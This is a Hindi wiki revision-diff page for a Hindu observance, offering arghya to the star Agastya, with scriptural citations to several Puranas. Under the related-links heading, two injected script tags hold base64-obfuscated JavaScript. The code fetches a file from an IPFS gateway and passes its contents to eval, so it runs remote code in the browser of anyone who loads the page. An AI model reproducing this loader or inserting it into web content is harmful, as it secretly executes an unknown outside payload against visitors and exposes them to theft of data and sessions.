No edit summary |
गोविन्द राम (वार्ता | योगदान) No edit summary |
||
पंक्ति 14: | पंक्ति 14: | ||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | |||
[[Category:व्रत और उत्सव]][[Category:पर्व_और_त्योहार]] | [[Category:व्रत और उत्सव]][[Category:पर्व_और_त्योहार]] | ||
__INDEX__ | __INDEX__ |
14:36, 5 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- अगस्त्य नक्षत्र को अर्घ्य देना। (अध्याय 61, जहाँ मगस्त्योत्पत्ति के विषय में उल्लेख है)[1]
- विभिन्न देशों में विभिन्न कालों में अगत्स्य का उदय एवं अस्त होता है। [2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ मत्स्य पुराण, गरुड़ पुराण (1|119|1–6), जीभूतवाहन का कालविवेक (290—292)।
- ↑ अग्नि पुराण (206|1–2), राजमार्तण्ड (भोजकृत, 1206–1228), कृत्यकलपतरु का नैयतकालिक काण्ड (448–451), हेमाद्रि व्रतखण्ड (2|893–904), कृत्यरत्नाकर (294–299), वर्षक्रियाकौमुदी (340–341), राजमार्तण्ड (1219–20), मत्स्य पुराण 61|50, गरुड़ पुराण 1|119|5 समयप्रदीप (सोमदत्तकृत)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>